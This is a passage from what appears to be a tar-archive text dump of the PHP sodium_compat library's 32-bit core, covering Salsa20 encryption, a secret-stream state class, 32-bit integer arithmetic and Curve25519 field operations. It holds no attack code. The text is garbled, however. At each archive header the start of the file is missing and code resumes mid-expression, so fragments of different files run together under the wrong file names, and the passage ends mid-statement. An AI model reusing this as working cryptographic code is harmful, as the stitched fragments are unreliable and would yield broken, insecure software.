from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } } sodium_compat/src/Core32/SecretStream/State.php000064400000007110147177035010015431 0ustar00key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core32_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core32_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core32_SecretStream_State( ParagonIE_Sodium_Core32_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core32_Util::load_4( ParagonIE_Sodium_Core32_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } sodium_compat/src/Core32/XChaCha20.php000064400000004626147177035010013362 0ustar00 0; $i -= 2) { $x4 = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7)); $x8 = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9)); $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13)); $x0 = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18)); $x9 = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7)); $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9)); $x1 = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13)); $x5 = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18)); $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7)); $x2 = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9)); $x6 = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13)); $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18)); $x3 = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7)); $x7 = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9)); $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13)); $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18)); $x1 = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7)); $x2 = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9)); $x3 = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13)); $x0 = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18)); $x6 = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7)); $x7 = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9)); $x4 = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13)); $x5 = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18)); $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7)); $x8 = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9)); $x9 = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13)); $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18)); $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7)); $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9)); $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13)); $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18)); } return $x0->toReverseString() . $x5->toReverseString() . $x10->toReverseString() . $x15->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString(); } } sodium_compat/src/Core32/Int32.php000064400000060004147177035010012650 0ustar00 - two 16-bit integers * * 0 is the higher 16 bits * 1 is the lower 16 bits */ public $limbs = array(0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int32 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int32 objects * * @param ParagonIE_Sodium_Core32_Int32 $addend * @return ParagonIE_Sodium_Core32_Int32 */ public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $r1 = $i1 + ($j1 & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int32 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $r1 = $i1 + ($int & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + (($int >> 16) & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 2; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** @var int $gt */ $gt |= (($x2 - $x1) >> 8) & $eq; /** @var int $eq */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $m * @return ParagonIE_Sodium_Core32_Int32 */ public function mask($m = 0) { /** @var int $hi */ $hi = ((int) $m >> 16); $hi &= 0xffff; /** @var int $lo */ $lo = ((int) $m) & 0xffff; return new ParagonIE_Sodium_Core32_Int32( array( (int) ($this->limbs[0] & $hi), (int) ($this->limbs[1] & $lo) ), $this->unsignedInt ); } /** * @param array $a * @param array $b * @param int $baseLog2 * @return array */ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array $r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = ($a_i * $b_j) + $r[$i + $j]; $carry = ((int) $product >> $baseLog2 & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int32 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff ); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $right * @return ParagonIE_Sodium_Core32_Int32 */ public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2]; } return $return; } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt($int = 0, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast((int) $int); } /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($int & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt32Fast($int); } if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $b = clone $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($b1 & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $x0 = ($b0 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * OR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function orInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]) ); /** @var int overflow */ $return->overflow = $this->overflow | $b->overflow; return $return; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 1; /** @var int $k */ $k = ($i + $idx_shift + 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) ($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 1; /** @var int $k */ $k = ($i - $idx_shift - 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { /** @var int $c */ /** @var int $tmp */ $tmp = $this->limbs[1] << $c; $return->limbs[1] = (int)($tmp & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; /** @var int $tmp */ $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff); $return->limbs[0] = (int) ($tmp & 0xffff); } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c >= 16) { $return->limbs = array( (int) ($this->overflow & 0xffff), (int) ($this->limbs[0]) ); $return->overflow = $this->overflow >> 16; return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $c */ // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff); $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1)); $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff); $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1)); $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff); $return->overflow >>= $c; } return $return; } /** * Subtract a normal integer from an int32 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($int & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * Subtract two int32 objects from each other * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function subInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * XOR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]) ); return $return; } /** * @param int $signed * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($signed) { ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);; /** @var int $signed */ $signed = (int) $signed; return new ParagonIE_Sodium_Core32_Int32( array( (int) (($signed >> 16) & 0xffff), (int) ($signed & 0xffff) ) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array */ public function toArray() { return array((int) ($this->limbs[0] << 16 | $this->limbs[1])); } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[0] & 0xffff); $return->limbs[1] = (int) ($this->limbs[1] & 0xffff); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) ($this->overflow & 0x7fffffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; if ($this->unsignedInt) { $return->limbs[0] += (($this->overflow >> 16) & 0xffff); $return->limbs[1] += (($this->overflow) & 0xffff); } else { $neg = -(($this->limbs[0] >> 15) & 1); $return->limbs[0] = (int)($neg & 0xffff); $return->limbs[1] = (int)($neg & 0xffff); } $return->limbs[2] = (int) ($this->limbs[0] & 0xffff); $return->limbs[3] = (int) ($this->limbs[1] & 0xffff); return $return; } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } } sodium_compat/src/Core32/Util.php000064400000000321147177035010012662 0ustar00addInt32($g[$i]); } /** @var array $arr */ return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_cmov( ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g, $b = 0 ) { /** @var array $h */ $h = array(); for ($i = 0; $i < 10; ++$i) { if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected Int32'); } if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected Int32'); } $h[$i] = $f[$i]->xorInt32( $f[$i]->xorInt32($g[$i])->mask($b) ); } /** @var array $h */ return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h); } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $h = clone $f; return $h; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws RangeException * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } /** @var ParagonIE_Sodium_Core32_Int32 $h0 */ $h0 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_4($s) ); /** @var ParagonIE_Sodium_Core32_Int32 $h1 */ $h1 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 4, 3)) << 6 ); /** @var ParagonIE_Sodium_Core32_Int32 $h2 */ $h2 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 7, 3)) << 5 ); /** @var ParagonIE_Sodium_Core32_Int32 $h3 */ $h3 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 10, 3)) << 3 ); /** @var ParagonIE_Sodium_Core32_Int32 $h4 */ $h4 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 13, 3)) << 2 ); /** @var ParagonIE_Sodium_Core32_Int32 $h5 */ $h5 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_4(self::substr($s, 16, 4)) ); /** @var ParagonIE_Sodium_Core32_Int32 $h6 */ $h6 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 20, 3)) << 7 ); /** @var ParagonIE_Sodium_Core32_Int32 $h7 */ $h7 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 23, 3)) << 5 ); /** @var ParagonIE_Sodium_Core32_Int32 $h8 */ $h8 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 26, 3)) << 4 ); /** @var ParagonIE_Sodium_Core32_Int32 $h9 */ $h9 = ParagonIE_Sodium_Core32_Int32::fromInt( (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2 ); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt32($carry9->mulInt(19, 5)); $h9 = $h9->subInt32($carry9->shiftLeft(25)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt32($carry1); $h1 = $h1->subInt32($carry1->shiftLeft(25)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt32($carry3); $h3 = $h3->subInt32($carry3->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt32($carry5); $h5 = $h5->subInt32($carry5->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt32($carry7); $h7 = $h7->subInt32($carry7->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt32($carry0); $h0 = $h0->subInt32($carry0->shiftLeft(26)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt32($carry2); $h2 = $h2->subInt32($carry2->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt32($carry4); $h4 = $h4->subInt32($carry4->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt32($carry6); $h6 = $h6->subInt32($carry6->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt32($carry8); $h8 = $h8->subInt32($carry8->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, 